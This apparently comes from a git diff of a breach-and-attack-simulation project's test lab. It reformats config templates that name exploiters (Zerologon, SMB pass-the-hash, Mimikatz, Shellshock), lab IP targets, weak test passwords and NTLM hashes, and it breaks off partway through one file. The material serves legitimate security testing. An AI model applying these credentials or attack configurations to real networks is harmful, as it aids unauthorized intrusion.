diff --git a/docs/static/images/usage/reports/ransomware_report_1_breach.png b/docs/static/images/usage/reports/ransomware_report_1_breach.png
new file mode 100644
index 000000000..9c792ee06
Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_1_breach.png differ
diff --git a/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png b/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png
new file mode 100644
index 000000000..77f18a52a
Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_2_lateral_movement.png differ
diff --git a/docs/static/images/usage/reports/ransomware_report_3_attack.png b/docs/static/images/usage/reports/ransomware_report_3_attack.png
new file mode 100644
index 000000000..ca2af4241
Binary files /dev/null and b/docs/static/images/usage/reports/ransomware_report_3_attack.png differ
diff --git a/docs/static/images/usage/scenarios/choose-scenario.png b/docs/static/images/usage/scenarios/choose-scenario.png
new file mode 100644
index 000000000..14dd14e04
Binary files /dev/null and b/docs/static/images/usage/scenarios/choose-scenario.png differ
diff --git a/docs/static/images/usage/scenarios/custom-scenario.png b/docs/static/images/usage/scenarios/custom-scenario.png
new file mode 100644
index 000000000..d82c454f6
Binary files /dev/null and b/docs/static/images/usage/scenarios/custom-scenario.png differ
diff --git a/docs/static/images/usage/scenarios/ransomware-config.png b/docs/static/images/usage/scenarios/ransomware-config.png
new file mode 100644
index 000000000..ca4ae8980
Binary files /dev/null and b/docs/static/images/usage/scenarios/ransomware-config.png differ
diff --git a/docs/static/images/usage/scenarios/start-over.png b/docs/static/images/usage/scenarios/start-over.png
new file mode 100644
index 000000000..60deecfa1
Binary files /dev/null and b/docs/static/images/usage/scenarios/start-over.png differ
diff --git a/envs/monkey_zoo/.gitignore b/envs/monkey_zoo/.gitignore
index be22d3037..e7549cdec 100644
--- a/envs/monkey_zoo/.gitignore
+++ b/envs/monkey_zoo/.gitignore
@@ -1,2 +1,2 @@
logs/
-/blackbox/tests/performance/telem_sample
+/blackbox/tests/performance/telemetry_sample
diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md
index 808a0a5cb..a1cb95962 100644
--- a/envs/monkey_zoo/blackbox/README.md
+++ b/envs/monkey_zoo/blackbox/README.md
@@ -1,20 +1,22 @@
# Automatic blackbox tests
### Prerequisites
1. Download google sdk: https://cloud.google.com/sdk/docs/
-2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it).
+2. Download service account key for MonkeyZoo project (if you deployed MonkeyZoo via terraform scripts then you already have it).
GCP console -> IAM -> service accounts(you can use the same key used to authenticate terraform scripts).
Place the key in `envs/monkey_zoo/gcp_keys/gcp_key.json`.
-3. Deploy the relevant branch + complied executables to the Island machine on GCP.
+3. Deploy the relevant branch + complied executables to the Island machine on GCP.
### Running the tests
-In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find
-this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
+In order to execute the entire test suite, you must know the external IP of the Island machine on GCP. You can find
+this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
#### Running in command line
+Either run pytest from `/monkey` directory or set `PYTHONPATH` environment variable to
+`/monkey` directory so that blackbox tests can import other monkey code.
Blackbox tests have following parameters:
- `--island=IP` Sets island's IP
- `--no-gcp` (Optional) Use for no interaction with the cloud (local test).
-- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries,
+- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries,
instead will just test performance of endpoints in already present island state.
Example run command:
@@ -27,22 +29,23 @@ directory `monkey\envs\monkey_zoo\blackbox`.
### Running telemetry performance test
-**Before running performance test make sure browser is not sending requests to island!**
+**Before running performance test make sure browser is not sending requests to island!**
To run telemetry performance test follow these steps:
-0. Set `server_config.json` to "standard" (no password protection) setting.
+0. Set no password protection on the island.
+Make sure the island parameter is an IP address(not localhost) as the name resolution will increase the time for requests.
1. Gather monkey telemetries.
- 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
+ 1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
exported telemetries already.
2. Run monkey and wait until infection is done.
- 3. All telemetries are gathered in `monkey/telem_sample`
+ 3. All telemetries are gathered in `monkey/telem_sample`. If not, restart the island process.
2. Run telemetry performance test.
- 1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems`
- 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply
+ 1. Move directory `monkey/telem_sample` to `envs/monkey_zoo/blackbox/tests/performance/telemetry_sample`
+ 2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py` to multiply
telemetries gathered.
- 1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox`
+ 1. Run `sample_multiplier.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox`
2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate
telemetries 4 times.
- 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion.
- 3. Performance test will run as part of BlackBox tests or you can run it separately by adding
- `-k 'test_telem_performance'` option.
+ 3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuration.
+ 3. Add a `--run-performance-tests` flag to blackbox scripts to run performance tests as part of BlackBox tests.
+ You can run a single test separately by adding `-k 'test_telem_performance'` option.
diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py
index 13db46cb3..c4b55c766 100644
--- a/envs/monkey_zoo/blackbox/analyzers/analyzer.py
+++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py
@@ -2,7 +2,6 @@ from abc import ABCMeta, abstractmethod
class Analyzer(object, metaclass=ABCMeta):
-
@abstractmethod
def analyze_test_results(self) -> bool:
raise NotImplementedError()
diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py
index f97418813..88d06d52b 100644
--- a/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py
+++ b/envs/monkey_zoo/blackbox/analyzers/analyzer_log.py
@@ -2,7 +2,6 @@ LOG_INIT_MESSAGE = "Analysis didn't run."
class AnalyzerLog(object):
-
def __init__(self, analyzer_name):
self.contents = LOG_INIT_MESSAGE
self.name = analyzer_name
diff --git a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py
index 22841f783..9f43bee7c 100644
--- a/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py
+++ b/envs/monkey_zoo/blackbox/analyzers/communication_analyzer.py
@@ -3,7 +3,6 @@ from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
class CommunicationAnalyzer(Analyzer):
-
def __init__(self, island_client, machine_ips):
self.island_client = island_client
self.machine_ips = machine_ips
@@ -21,5 +20,5 @@ class CommunicationAnalyzer(Analyzer):
return all_monkeys_communicated
def did_monkey_communicate_back(self, machine_ip):
- query = {'ip_addresses': {'$elemMatch': {'$eq': machine_ip}}}
+ query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
return len(self.island_client.find_monkeys_in_db(query)) > 0
diff --git a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py
index 4a43ab6a5..30e635652 100644
--- a/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py
+++ b/envs/monkey_zoo/blackbox/analyzers/performance_analyzer.py
@@ -9,8 +9,9 @@ LOGGER = logging.getLogger(__name__)
class PerformanceAnalyzer(Analyzer):
-
- def __init__(self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta]):
+ def __init__(
+ self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta]
+ ):
self.performance_test_config = performance_test_config
self.endpoint_timings = endpoint_timings
@@ -32,7 +33,8 @@ class PerformanceAnalyzer(Analyzer):
if self.performance_test_config.break_on_timeout and not performance_is_good_enough:
LOGGER.warning(
- "Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done "
+ "Calling breakpoint - pausing to enable investigation of island. "
+ "Type 'c' to continue once you're done "
"investigating. Type 'p timings' and 'p total_time' to see performance information."
)
breakpoint()
diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py
index f5da3a2e1..5762a0315 100644
--- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py
+++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py
@@ -1,21 +1,22 @@
-from typing import List
from pprint import pformat
+from typing import List
import dpath.util
-from common.config_value_paths import USER_LIST_PATH, PASSWORD_LIST_PATH, NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH
+from common.config_value_paths import LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, USER_LIST_PATH
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
# Query for telemetry collection to see if password restoration was successful
-TELEM_QUERY = {'telem_category': 'exploit',
- 'data.exploiter': 'ZerologonExploiter',
- 'data.info.password_restored': True}
+TELEM_QUERY = {
+ "telem_category": "exploit",
+ "data.exploiter": "ZerologonExploiter",
+ "data.info.password_restored": True,
+}
class ZerologonAnalyzer(Analyzer):
-
def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]):
self.island_client = island_client
self.expected_credentials = expected_credentials
@@ -35,13 +36,12 @@ class ZerologonAnalyzer(Analyzer):
@staticmethod
def _get_relevant_credentials(config: dict):
credentials_on_island = []
- credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH))
- credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH))
- credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH))
+ credentials_on_island.extend(dpath.util.get(config["configuration"], USER_LIST_PATH))
+ credentials_on_island.extend(dpath.util.get(config["configuration"], NTLM_HASH_LIST_PATH))
+ credentials_on_island.extend(dpath.util.get(config["configuration"], LM_HASH_LIST_PATH))
return credentials_on_island
- def _is_all_credentials_in_list(self,
- all_creds: List[str]) -> bool:
+ def _is_all_credentials_in_list(self, all_creds: List[str]) -> bool:
credentials_missing = [cred for cred in self.expected_credentials if cred not in all_creds]
self._log_creds_not_gathered(credentials_missing)
return not credentials_missing
@@ -60,11 +60,13 @@ class ZerologonAnalyzer(Analyzer):
def _log_credential_restore(self, telem_list: List[dict]):
if telem_list:
- self.log.add_entry("Zerologon exploiter telemetry contains indicators that credentials "
- "were successfully restored.")
+ self.log.add_entry(
+ "Zerologon exploiter telemetry contains indicators that credentials "
+ "were successfully restored."
+ )
else:
- self.log.add_entry("Credential restore failed or credential restore "
- "telemetry not found on the Monkey Island.")
+ self.log.add_entry(
+ "Credential restore failed or credential restore "
+ "telemetry not found on the Monkey Island."
+ )
self.log.add_entry(f"Query for credential restore telem: {pformat(TELEM_QUERY)}")
-
-
diff --git a/envs/monkey_zoo/blackbox/config_templates/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py
index 9ebea6f1f..f55328312 100644
--- a/envs/monkey_zoo/blackbox/config_templates/base_template.py
+++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py
@@ -7,8 +7,13 @@ class BaseTemplate(ConfigTemplate):
config_values = {
"basic.exploiters.exploiter_classes": [],
"basic_network.scope.local_network_scan": False,
+ "basic_network.scope.depth": 1,
"internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
- "internal.monkey.system_info.system_info_collector_classes":
- ["EnvironmentCollector", "HostnameCollector"],
- "monkey.post_breach.post_breach_actions": []
+ "internal.monkey.system_info.system_info_collector_classes": [
+ "EnvironmentCollector",
+ "HostnameCollector",
+ ],
+ "monkey.post_breach.post_breach_actions": [],
+ "internal.general.keep_tunnel_open_time": 0,
+ "internal.monkey.internet_services": [],
}
diff --git a/envs/monkey_zoo/blackbox/config_templates/config_template.py b/envs/monkey_zoo/blackbox/config_templates/config_template.py
index e0ff4e568..915a0cc78 100644
--- a/envs/monkey_zoo/blackbox/config_templates/config_template.py
+++ b/envs/monkey_zoo/blackbox/config_templates/config_template.py
@@ -2,7 +2,6 @@ from abc import ABC, abstractmethod
class ConfigTemplate(ABC):
-
@property
@abstractmethod
def config_values(self) -> dict:
diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py
index e202219dc..388a47a42 100644
--- a/envs/monkey_zoo/blackbox/config_templates/drupal.py
+++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py
@@ -7,8 +7,12 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class Drupal(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
- "basic.exploiters.exploiter_classes": ["DrupalExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.28"]
- })
+ config_values.update(
+ {
+ "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"],
+ "basic.exploiters.exploiter_classes": ["DrupalExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.28"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [80],
+ "internal.network.tcp_scanner.tcp_target_ports": [],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py
index 56021e959..0a89b9cc3 100644
--- a/envs/monkey_zoo/blackbox/config_templates/elastic.py
+++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py
@@ -8,8 +8,13 @@ class Elastic(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"],
- "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"],
+ "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"],
+ "basic_network.scope.depth": 1,
+ "internal.network.tcp_scanner.HTTP_PORTS": [9200],
+ "internal.network.tcp_scanner.tcp_target_ports": [],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py
index d136068e5..8238909fd 100644
--- a/envs/monkey_zoo/blackbox/config_templates/hadoop.py
+++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py
@@ -8,7 +8,11 @@ class Hadoop(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["HadoopExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["HadoopExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.2", "10.2.2.3"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [8088],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py
index 003f9f8d3..13d1c728e 100644
--- a/envs/monkey_zoo/blackbox/config_templates/mssql.py
+++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py
@@ -7,14 +7,19 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class Mssql(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.16"],
- "basic.credentials.exploit_password_list": ["Password1!",
- "Xk8VDTsC",
- "password",
- "12345678"],
- "basic.credentials.exploit_user_list": ["Administrator",
- "m0nk3y",
- "user"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["MSSQLExploiter"],
+ "internal.classes.finger_classes": ["PingScanner"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.16"],
+ "basic.credentials.exploit_password_list": [
+ "Password1!",
+ "Xk8VDTsC",
+ "password",
+ "12345678",
+ ],
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [3389],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py
index e9e34727d..e5213b649 100644
--- a/envs/monkey_zoo/blackbox/config_templates/performance.py
+++ b/envs/monkey_zoo/blackbox/config_templates/performance.py
@@ -3,52 +3,60 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class Performance(ConfigTemplate):
config_values = {
- "basic.credentials.exploit_password_list": ["Xk8VDTsC",
- "^NgDvY59~8",
- "Ivrrw5zEzs",
- "3Q=(Ge(+&w]*",
- "`))jU7L(w}",
- "t67TC5ZDmz"],
+ "basic.credentials.exploit_password_list": [
+ "Xk8VDTsC",
+ "^NgDvY59~8",
+ "Ivrrw5zEzs",
+ "3Q=(Ge(+&w]*",
+ "`))jU7L(w}",
+ "t67TC5ZDmz",
+ ],
"basic.credentials.exploit_user_list": ["m0nk3y"],
- "basic.exploiters.exploiter_classes": ["SmbExploiter",
- "WmiExploiter",
- "SSHExploiter",
- "ShellShockExploiter",
- "SambaCryExploiter",
- "ElasticGroovyExploiter",
- "Struts2Exploiter",
- "WebLogicExploiter",
- "HadoopExploiter",
- "VSFTPDExploiter",
- "MSSQLExploiter",
- "ZerologonExploiter"],
- "basic_network.network_analysis.inaccessible_subnets": ["10.2.2.0/30",
- "10.2.2.8/30",
- "10.2.2.24/32",
- "10.2.2.23/32",
- "10.2.2.21/32",
- "10.2.2.19/32",
- "10.2.2.18/32",
- "10.2.2.17/32"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.2",
- "10.2.2.3",
- "10.2.2.4",
- "10.2.2.5",
- "10.2.2.8",
- "10.2.2.9",
- "10.2.1.10",
- "10.2.0.11",
- "10.2.0.12",
- "10.2.2.11",
- "10.2.2.12",
- "10.2.2.14",
- "10.2.2.15",
- "10.2.2.16",
- "10.2.2.18",
- "10.2.2.19",
- "10.2.2.20",
- "10.2.2.21",
- "10.2.2.23",
- "10.2.2.24",
- "10.2.2.25"]
+ "basic.exploiters.exploiter_classes": [
+ "SmbExploiter",
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter",
+ "MSSQLExploiter",
+ "ZerologonExploiter",
+ ],
+ "basic_network.network_analysis.inaccessible_subnets": [
+ "10.2.2.0/30",
+ "10.2.2.8/30",
+ "10.2.2.24/32",
+ "10.2.2.23/32",
+ "10.2.2.21/32",
+ "10.2.2.19/32",
+ "10.2.2.18/32",
+ "10.2.2.17/32",
+ ],
+ "basic_network.scope.subnet_scan_list": [
+ "10.2.2.2",
+ "10.2.2.3",
+ "10.2.2.4",
+ "10.2.2.5",
+ "10.2.2.8",
+ "10.2.2.9",
+ "10.2.1.10",
+ "10.2.0.11",
+ "10.2.0.12",
+ "10.2.2.11",
+ "10.2.2.12",
+ "10.2.2.14",
+ "10.2.2.15",
+ "10.2.2.16",
+ "10.2.2.18",
+ "10.2.2.19",
+ "10.2.2.20",
+ "10.2.2.21",
+ "10.2.2.23",
+ "10.2.2.24",
+ "10.2.2.25",
+ ],
}
diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py
index 71d968e0b..b3620e5b9 100644
--- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py
+++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py
@@ -7,7 +7,11 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class ShellShock(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["ShellShockExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.8"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["ShellShockExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.8"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080],
+ "internal.network.tcp_scanner.tcp_target_ports": [],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
index f563bc8d1..8c970d2d4 100644
--- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
+++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py
@@ -7,14 +7,20 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class SmbMimikatz(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["SmbExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
- "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
- "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
- "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
- "monkey.system_info.system_info_collector_classes": ["EnvironmentCollector",
- "HostnameCollector",
- "ProcessListCollector",
- "MimikatzCollector"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["SmbExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.14", "10.2.2.15"],
+ "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [445],
+ "monkey.system_info.system_info_collector_classes": [
+ "EnvironmentCollector",
+ "HostnameCollector",
+ "ProcessListCollector",
+ "MimikatzCollector",
+ ],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
index edee4cdbd..89a379d15 100644
--- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
+++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py
@@ -7,16 +7,18 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class SmbPth(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_value_list = {
- "basic.exploiters.exploiter_classes": ["SmbExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.15"],
- "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
- "basic.credentials.exploit_user_list": ["Administrator",
- "m0nk3y",
- "user"],
- "internal.classes.finger_classes": ["SMBFinger",
- "PingScanner",
- "HTTPFinger"],
- "internal.classes.exploits.exploit_ntlm_hash_list": ["5da0889ea2081aa79f6852294cba4a5e",
- "50c9987a6bf1ac59398df9f911122c9b"]
- }
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["SmbExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.15"],
+ "basic.credentials.exploit_password_list": ["Password1!", "Ivrrw5zEzs"],
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.classes.finger_classes": ["SMBFinger", "PingScanner", "HTTPFinger"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [445],
+ "internal.classes.exploits.exploit_ntlm_hash_list": [
+ "5da0889ea2081aa79f6852294cba4a5e",
+ "50c9987a6bf1ac59398df9f911122c9b",
+ ],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py
index 90871e52b..8099e50a6 100644
--- a/envs/monkey_zoo/blackbox/config_templates/ssh.py
+++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py
@@ -7,17 +7,15 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class Ssh(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["SSHExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.11",
- "10.2.2.12"],
- "basic.credentials.exploit_password_list": ["Password1!",
- "12345678",
- "^NgDvY59~8"],
- "basic.credentials.exploit_user_list": ["Administrator",
- "m0nk3y",
- "user"],
- "internal.classes.finger_classes": ["SSHFinger",
- "PingScanner",
- "HTTPFinger"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["SSHExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.11", "10.2.2.12"],
+ "basic.credentials.exploit_password_list": ["Password1!", "12345678", "^NgDvY59~8"],
+ "basic_network.scope.depth": 2,
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.classes.finger_classes": ["SSHFinger", "PingScanner"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [],
+ "internal.network.tcp_scanner.tcp_target_ports": [22],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py
index 6eb399568..3997557b3 100644
--- a/envs/monkey_zoo/blackbox/config_templates/struts2.py
+++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py
@@ -8,7 +8,12 @@ class Struts2(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["Struts2Exploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["Struts2Exploiter"],
+ "basic_network.scope.depth": 2,
+ "basic_network.scope.subnet_scan_list": ["10.2.2.23", "10.2.2.24"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080],
+ "internal.network.tcp_scanner.tcp_target_ports": [80, 8080],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py
index ac46eb110..d23ad8708 100644
--- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py
+++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py
@@ -7,27 +7,30 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
class Tunneling(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["SmbExploiter",
- "WmiExploiter",
- "SSHExploiter"
- ],
- "basic_network.scope.subnet_scan_list": ["10.2.2.9",
- "10.2.1.10",
- "10.2.0.11",
- "10.2.0.12"],
- "basic_network.scope.depth": 3,
- "internal.general.keep_tunnel_open_time": 180,
- "basic.credentials.exploit_password_list": ["Password1!",
- "3Q=(Ge(+&w]*",
- "`))jU7L(w}",
- "t67TC5ZDmz",
- "12345678"],
- "basic.credentials.exploit_user_list": ["Administrator",
- "m0nk3y",
- "user"],
- "internal.classes.finger_classes": ["SSHFinger",
- "PingScanner",
- "HTTPFinger",
- "SMBFinger"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["SmbExploiter", "WmiExploiter", "SSHExploiter"],
+ "basic_network.scope.subnet_scan_list": [
+ "10.2.2.9",
+ "10.2.1.10",
+ "10.2.0.11",
+ "10.2.0.12",
+ ],
+ "basic_network.scope.depth": 3,
+ "internal.general.keep_tunnel_open_time": 180,
+ "basic.credentials.exploit_password_list": [
+ "Password1!",
+ "3Q=(Ge(+&w]*",
+ "`))jU7L(w}",
+ "t67TC5ZDmz",
+ "12345678",
+ ],
+ "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"],
+ "internal.classes.finger_classes": [
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "SMBFinger",
+ ],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py
index 482f7abf9..10bdadd11 100644
--- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py
+++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py
@@ -8,7 +8,11 @@ class Weblogic(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
- config_values.update({
- "basic.exploiters.exploiter_classes": ["WebLogicExploiter"],
- "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"]
- })
+ config_values.update(
+ {
+ "basic.exploiters.exploiter_classes": ["WebLogicExploiter"],
+ "basic_network.scope.subnet_scan_list": ["10.2.2.18", "10.2.2.19"],
+ "internal.network.tcp_scanner.HTTP_PORTS": [7001],
+ "internal.network.tcp_scanner.tcp_target_ports": [],
+ }
+ )
diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py
index b6dbc0c88..8c484e7b2 100644
